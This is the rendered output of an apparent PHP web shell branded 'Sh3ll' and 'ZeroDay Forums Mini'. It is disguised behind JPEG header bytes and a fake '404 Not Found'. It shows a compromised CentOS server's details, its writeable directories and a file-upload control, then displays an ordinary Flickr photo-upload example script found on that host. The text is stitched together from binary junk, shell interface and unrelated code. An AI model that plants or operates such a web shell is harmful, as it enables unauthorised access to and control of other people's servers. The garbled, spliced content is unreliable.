����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/proxy/logs/curl/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/proxy/logs/curl/examples/flickr_upload_photo.php
<?php
require __DIR__ . '/vendor/autoload.php';
require 'flickr.class.php';

use \Curl\Curl;
use \Flickr\Flickr;

$flickr = new Flickr();
$flickr->authenticate();
?>
<!doctype html>
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Flickr Photo Upload</title>
</head>
<body>

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $result = $flickr->uploadPhoto();
    if ($result->error) {
        echo '<p>Photo upload failed.</p>';
    } else {
        $user_id = $_SESSION['user_id'];
        $photo_id = $result->response->photoid;
        $photo_url = 'http://www.flickr.com/photos/' . $user_id . '/' . $photo_id;
        echo '<p>Photo uploaded successfully. <a href="' . $photo_url . '">View photo</a>.</p>';
    }
}
?>

<form enctype="multipart/form-data" method="post">
    <fieldset>
        <legend>Flickr Photo Upload</legend>
        <label>Photo <input name="photo" type="file" /></label><br />
        <label>Title <input name="title" placeholder="Vacation (optional)" type="text" /></label><br />
        <label>Tags <input name="tags" placeholder="tropical,beach,vacation (optional)" type="text" /></label><br />
        <input type="submit" />
    </fieldset>
</form>

</body>
</html>

ZeroDay Forums Mini